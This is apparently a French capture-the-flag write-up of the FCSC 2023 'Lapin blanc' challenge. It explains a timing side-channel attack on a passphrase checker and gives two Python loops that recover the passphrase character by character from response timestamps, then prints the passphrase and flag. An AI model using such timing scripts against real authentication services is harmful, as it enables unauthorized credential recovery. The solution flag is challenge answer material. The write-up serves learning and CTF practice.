Side Channel - Lapin blanc

FCSC2023 May 1, 2023

Introduction

Enoncé :

Premier challenge de SCA (side-channel attacks) de ce FCSC 2023, on commence par se connecter sur l'endpoint pour voir ce qu'on nous donne :

En enchaînant quelques essais, on se rend vite compte que les nombres sur le côté correspondent à des timestamps : celui du message "The door is thinking ..." correspond au début de la vérification côté serveur, et le suivant "Your magic phrase is invalid." à la fin de celle-ci. On a donc une timing attack !

En testant chaque lettre de l'alphabet, on remarque que le calcul pour "I" prend BEAUCOUP de temps : 50000 (ticks j'imagine ?) au lieu d'environ 3000 pour les autres caractères. On en déduit donc que le bon caractère prend plus de temps à calculer.

J'ai utilisé deux manières différentes pour solve ce challenge.

Méthode 1 : Maximum

Dans la première, on utilise un dictionnaire pour stocker les couples caractère:offset (offset étant le temps de calcul). Pour les caractères, on utilise tous ceux qui pourraient apparaître dans une phrase. Une fois que tous ont été testés, on choisit le plus long avec

que l'on ajoute à la passphrase. Cette méthode est plus safe que la seconde en termes d'erreur de jugement ou sur un système sur lequel on a moins d'informations, mais prend plus de temps.

while True:
    # Reset du dictionnaire
    times={}
    for i in chars:
        io.recvuntil(b': ')
        # On envoie la passphrase et le caractère à tester
        io.sendline(passphrase+i)
        # On parse les deux réponses
        l1 = io.recvline().strip().decode().strip('[').split('] ')
        l2 = io.recvline().strip().decode().strip('[').split('] ')
        # On récupère les deux timestamps
        t1 = int(l1[0])
        t2 = int(l2[0])
        # Si la réponse est différente de ce qu'on attend, on break
        if l2[1][0]!="Y":
            print("\nFLAG : "+l1+"\n")
            find=True
            break
        # On ajoute le couple caractère:offset au dictionnaire
        times[i]=t2-t1
    # On trouve le maximum du tour et on l'ajoute à la passphrase
    passphrase+=max(times,key=lambda x:times[x])
    print("\n\nPASSPHRASE : "+passphrase+"\n\n")
    if find==True:
        break

Méthode 2 : Gros nombre

Pour cette deuxième version, on considère que l'offset est tellement grand que dès que l'on a un offset divergeant c'est forcément le bon, et donc on casse la boucle directement.

Pour ce faire, on pose que le temps de calcul par défaut d'un mauvais caractère ne dépasse pas 3500. Etant donné que le nombre de caractères dans la passphrase augmente au fur et à mesure, ce temps par défaut doit s'incrémenter à chaque nouveau caractère trouvé.

Si le temps de calcul pour un caractère dépasse le temps par défaut, on l'ajoute au mot de passe et on passe au suivant.

# Offset moyen par défaut
default = 3500
j=0
while True:
    times={}
    j+=1
    for i in chars:
        io.recvuntil(b': ')
        io.sendline(passphrase+i)
        l1 = io.recvline().strip().decode().strip('[').split('] ')
        l2 = io.recvline().strip().decode().strip('[').split('] ')
        t1 = int(l1[0])
        t2 = int(l2[0])
        if l2[1][0]!="Y":
            print(l1)
            find=True
            break
        # Si l'offset est plus grand que celui par défaut incrémenté
        elif (t2-t1)>(default*j):
            # On ajoute le caractère à la passphrase
            passphrase+=i
            print("\n\nPASSPHRASE : "+passphrase+"\n\n")
            # On break directement
            break
    if find==True:
        break

Comme expliqué précédemment, cette méthode est plus rapide dans ce contexte, mais elle présente des risques sur un système réaliste, beaucoup d'éléments pouvant faire que le temps de calcul dépasse le seuil.

Conclusion

Que ce soit pour l'une ou l'autre méthode, on vérifie à chaque boucle si le premier caractère du message de fin de calcul est différent de Y, et, si tel est le cas, on print le flag et la passphrase complète. Après quelques temps, on obtient :

Passphrase : "I'm late, I'm late! For a very important date!"

(Evitez de suivre les gens aux yeux rouges qui se prennent pour des lapins)

Flag : FCSC{t1m1Ng_1s_K3y_8u7_74K1nG_u00r_t1mE_is_NEce554rY}

L'intérêt d'une telle attaque c'est qu'on peut bruteforce indépendamment caractère par caractère, et donc réduire considérablement le temps de calcul : si l'on a 26 caractères à tester et que le mot de passe en fait 3, on aura donc 26 x 26 x 26 = 17576 possibilités. Avec une timing attack, on réduit ce nombre à 26 + 26 + 26 = 78. C'est là toute la puissance des side-channels.

Write-up par Daeras

Tags